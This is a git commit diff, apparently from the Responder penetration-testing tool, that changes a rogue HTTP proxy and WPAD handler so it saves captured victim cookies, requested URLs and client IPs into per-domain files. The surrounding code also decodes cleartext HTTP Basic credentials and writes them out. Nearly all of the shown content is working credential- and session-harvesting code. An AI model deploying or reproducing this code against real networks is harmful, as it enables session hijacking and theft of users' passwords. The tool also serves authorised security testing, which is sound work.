Captured cookies are now stored in a file

This commit is contained in:
Lgandx 2013-02-12 11:41:17 -05:00
commit 445c06fda8

View file

@ -741,9 +741,11 @@ def GrabCookie(data,host):
CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0)) CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0))
logging.warning(CookieStr) logging.warning(CookieStr)
print CookieStr print CookieStr
return Cookie.group(0)
else: else:
NoCookies = "[+]No cookies were sent with this request" NoCookies = "[+]No cookies were sent with this request"
logging.warning(NoCookies) logging.warning(NoCookies)
return NoCookies
def WpadCustom(data,client): def WpadCustom(data,client):
b = re.search('(/wpad.dat)', data) b = re.search('(/wpad.dat)', data)
@ -824,9 +826,10 @@ from HTTPProxy import *
def GrabHost(data,host): def GrabHost(data,host):
Host = re.findall('(?<=GET )[^HTTP]*', data) Host = re.findall('(?<=GET )[^HTTP]*', data)
if Host: if Host:
HostStr = "[+]HTTP Proxy Requested sent from: %s The URL was: %s"%(host,''.join(Host)) HostStr = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(Host))
logging.warning(HostStr) logging.warning(HostStr)
print HostStr print HostStr
return ''.join(Host)
else: else:
NoHost = "[+]No host url sent with this request" NoHost = "[+]No host url sent with this request"
logging.warning(NoHost) logging.warning(NoHost)
@ -844,8 +847,12 @@ def ProxyPacketSequence(data,client):
if a: if a:
packetNtlm = b64decode(''.join(a))[8:9] packetNtlm = b64decode(''.join(a))[8:9]
if packetNtlm == "\x01": if packetNtlm == "\x01":
GrabHost(data,client) Host = GrabHost(data,client)
GrabCookie(data,client) Cookie = GrabCookie(data,client)
DomainName = re.search('^(.*:)//([a-z\-.]+)(:[0-9]+)?(.*)$', Host)
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s"%(Host, Cookie, client)
OutFile = "HTTPCookies/HTTP-Cookie-"+DomainName.group(2)+".txt"
WriteData(OutFile,Message)
r = NTLM_Challenge(ServerChallenge=Challenge) r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate() r.calculate()
t = IIS_407_NTLM_Challenge_Ans() t = IIS_407_NTLM_Challenge_Ans()
@ -859,8 +866,12 @@ def ProxyPacketSequence(data,client):
buffer1.calculate() buffer1.calculate()
return str(buffer1) return str(buffer1)
if b: if b:
GrabHost(data,client) Host = GrabHost(data,client)
GrabCookie(data,client) Cookie = GrabCookie(data,client)
DomainName = re.search('^(.*:)//([a-z\-.]+)(:[0-9]+)?(.*)$', Host)
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s"%(Host, Cookie, client)
OutFile = "HTTPCookies/HTTP-Cookie-"+DomainName.group(2)+".txt"
WriteData(OutFile,Message)
outfile = "HTTP-Clear-Text-Password-"+client+".txt" outfile = "HTTP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(b))) WriteData(outfile,b64decode(''.join(b)))
print "[+]HTTP-User & Password:", b64decode(''.join(b)) print "[+]HTTP-User & Password:", b64decode(''.join(b))